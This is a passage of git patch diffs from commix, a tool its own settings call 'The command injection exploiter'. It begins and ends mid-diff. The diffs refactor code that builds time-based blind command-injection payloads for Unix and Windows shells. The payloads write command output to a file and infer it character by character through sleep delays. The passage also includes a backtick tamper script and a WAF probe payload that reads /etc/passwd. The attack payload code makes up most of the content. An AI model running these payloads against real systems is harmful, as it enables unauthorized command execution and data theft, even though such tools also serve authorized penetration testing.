OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " +OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "[ " + str(j) + " -eq ${str1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + - separator + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) separator = _urllib.parse.unquote(separator) @@ -257,10 +249,9 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth cmd = checks.add_command_substitution(cmd) payload = (pipe + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -282,11 +273,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -295,32 +286,30 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) separator = _urllib.parse.unquote(separator) @@ -328,10 +317,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + - "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -361,8 +349,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -375,24 +363,22 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -400,14 +386,13 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -426,38 +411,36 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -465,9 +448,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -496,8 +478,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " @@ -509,23 +491,21 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -533,9 +513,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + separator + + "sleep " + str(timesec) ) else: pass @@ -555,37 +534,35 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -593,9 +570,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index a9d1c80086..ae21a90b08 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -13,8 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ +from src.utils import menu from src.utils import settings + """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. Notes: This tamper script works against Unix-like target(s). @@ -27,8 +29,9 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - settings.USE_BACKTICKS = True - payload = payload.replace("$((", "`expr" + settings.WHITESPACES[0]).replace("))", "`") + if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: + settings.USE_BACKTICKS = True + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index ad97f3487b..5b8838e89b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -329,6 +329,9 @@ def sys_argv_errors(): CMD_NUL = "" +CMD_SUB_PREFIX = "$(" +CMD_SUB_SUFFIX = ")" + # Maybe a WAF/IPS protection. WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" WAF_ENABLED = False @@ -340,14 +343,16 @@ class HEURISTIC_TEST(object): RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) -BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26echo $(" + BASIC_STRING + ")|echo $(" + BASIC_STRING + ")" + RANDOM_STRING_GENERATOR , - "|set /a " + BASIC_STRING + "%26set /a " + BASIC_STRING - ] +BASIC_STRING = "" +BASIC_COMMAND_INJECTION_PAYLOADS = [] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")|echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", - "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL - ] +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "%26echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "|echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + RANDOM_STRING_GENERATOR, + "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False From 516af4c059439c06f64c352275a0f5bfcd026b59 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Jan 2025 07:43:39 +0200 Subject: [PATCH 0525/1023] Minor update --- src/core/main.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 5fff92aed8..2dbe2d9eb3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -420,6 +420,7 @@ def main(filename, url, http_request_method): else: menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + menu.options.tech = menu.options.tech.lower() # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b8838e89b..7c1d8027f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3307ebf94f7ffd035dbd3e68bebf15411c699ad0 Mon Sep 17 00:00:00 2001 From: _raeph <53398218+raeph123@users.noreply.github.com> Date: Wed, 15 Jan 2025 15:41:47 +0000 Subject: [PATCH 0526/1023] Update parser.py If commix is used with a file and -r and a host header like "X-Forwarded-Host:" is set, commix took this host as target. This is fixed with checking if "Host" is at the beginning of the line --- src/core/injections/controller/parser.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f16d022116..c857968483 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -124,7 +124,7 @@ def invalid_data(request): scheme = "http://" for line in request_headers: - if re.findall(r"" + settings.HOST + ":" + " (.*)", line): + if re.findall(r"^" + settings.HOST + ":" + " (.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) # User-Agent Header if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): @@ -188,4 